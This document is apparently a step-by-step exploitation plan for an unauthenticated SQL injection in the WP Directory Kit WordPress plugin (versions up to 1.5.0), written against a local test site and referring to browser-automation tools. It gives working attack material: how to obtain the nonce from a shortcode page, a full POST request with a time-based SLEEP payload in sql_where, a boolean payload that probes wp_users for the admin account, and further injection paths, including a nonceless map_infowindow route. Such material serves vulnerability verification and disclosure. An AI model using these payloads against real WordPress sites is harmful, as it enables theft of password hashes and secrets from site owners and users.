WP Directory Kit <= 1.5.0 - Unauthenticated SQL Injection

Vulnerability Summary

The WP Directory Kit plugin for WordPress is vulnerable to an Unauthenticated SQL Injection in versions up to and including 1.5.0. The vulnerability exists within the treefieldid method of the Wdk_frontendajax controller (found in application/controllers/Wdk_frontendajax.php).

The plugin fails to sufficiently escape or prepare SQL queries when processing the sql_where parameter (and potentially others) passed via AJAX. Although the input is passed through sanitize_text_field(), this function does not neutralize SQL injection characters. The unsanitized input is then appended directly to the WHERE clause of a database query. Because the action is registered for unauthenticated users (wp_ajax_nopriv_treefieldid), an attacker can extract sensitive information from the database, such as user hashes and secret keys.

Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: treefieldid (maps to Wdk_frontendajax::treefieldid)
• Vulnerable Parameter: sql_where
• Authentication: Unauthenticated (leveraging wp_ajax_nopriv_treefieldid)
• Required Nonce: The parameter wdk_secure is checked using check_ajax_referer('wdk_secure_treefieldid', 'wdk_secure'). This nonce is typically localized for unauthenticated users on pages containing a directory search form.

Code Flow

1. Entry Point: An unauthenticated AJAX request is sent to admin-ajax.php with action=treefieldid.
2. Controller Routing: The request is routed to Wdk_frontendajax::treefieldid.
3. Nonce Verification: check_ajax_referer('wdk_secure_treefieldid', 'wdk_secure') validates the nonce.
4. Parameter Parsing: The method iterates through $_POST and stores values in the $parameters array after applying sanitize_text_field().
5. Logic Path: The code checks if $parameters['sql_where'] is empty. If not, and it doesn't match the hardcoded string 'only_nochilds', it enters a block (truncated in provided source) where the value is likely assigned to a $where array.
6. SQL Sink: The $where array is used in a database query. In the Winter MVC framework (used by this plugin), passing an array key with a NULL value to the where() method appends the key as raw SQL (e.g., $where[$sql_where] = NULL).
7. Execution: The injected SQL in sql_where is executed by $this->db->get().

Nonce Acquisition Strategy

The nonce wdk_secure_treefieldid is generated for the action string wdk_secure_treefieldid. It is localized in a JavaScript object named wdk_common.

1. Shortcode Identification: The search form triggers the loading of necessary scripts and nonces. The shortcode is [wdk_search_form].
2. Page Creation: Create a public page containing this shortcode:

   wp post create --post_type=page --post_status=publish --post_title="Search" --post_content='[wdk_search_form]'
   

3. Extraction:
   • Use browser_navigate to visit the newly created page.
   • Use browser_eval to extract the nonce:

     window.wdk_common?.wdk_secure
     

Exploitation Strategy

The exploit uses a time-based blind SQL injection payload in the sql_where parameter.

HTTP Request (Time-Based Test)

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: treefieldid
  • wdk_secure: [EXTRACTED_NONCE]
  • table: listing_m
  • attribute_id: post_id
  • attribute_value: post_title
  • search_term: a
  • sql_where: 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Payload Breakdown

• 1=1: Ensures the preceding logic remains valid.
• AND (SELECT 1 FROM (SELECT(SLEEP(5)))a): Injects a subquery that causes the database to sleep for 5 seconds if the query executes.
• sanitize_text_field(): This payload contains no HTML tags and will pass through unchanged.

Test Data Setup

1. Initialize Plugin: Ensure WP Directory Kit is active.
2. Create Content: At least one listing is recommended to ensure the query returns results, although the injection into the WHERE clause should work regardless.

   wp post create --post_type=wdk-listing --post_title="Exploit Test Listing" --post_status=publish
   

3. Generate Nonce Page:

   wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='[wdk_search_form]'
   

Expected Results

• Success: The HTTP request to admin-ajax.php takes approximately 5 seconds to respond.
• Response Body: Should return a JSON object with success: true and a list of results (if no error occurred) or simply time out/delay.

Verification Steps

1. Time Verification: Compare the response time of a valid request (e.g., SLEEP(0)) vs. the exploit request (SLEEP(5)).
2. Database Check: Confirm the database is responsive using wp db query "SELECT 1".
3. Data Extraction (Advanced): To confirm data access, change the payload to boolean-based:

   1=1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')
   

   Check if the JSON response returns the listing results (True) or an empty list (False).

Alternative Approaches

If sql_where is not the correct sink, target other parameters in the same function:

1. table parameter: Attempt to load different models.
2. search_term parameter: The code builds $id_part = "$attr_id=$attr_search OR ". If $attr_id or $attr_search (when numeric) are handled improperly, injection may occur there.
3. map_infowindow action: This action in Wdk_frontendajax.php lacks a nonce check and calls listing_m->get($listing_post_id). If the underlying get() method is not using prepare(), it provides a completely unauthenticated, nonceless injection path via listing_post_id.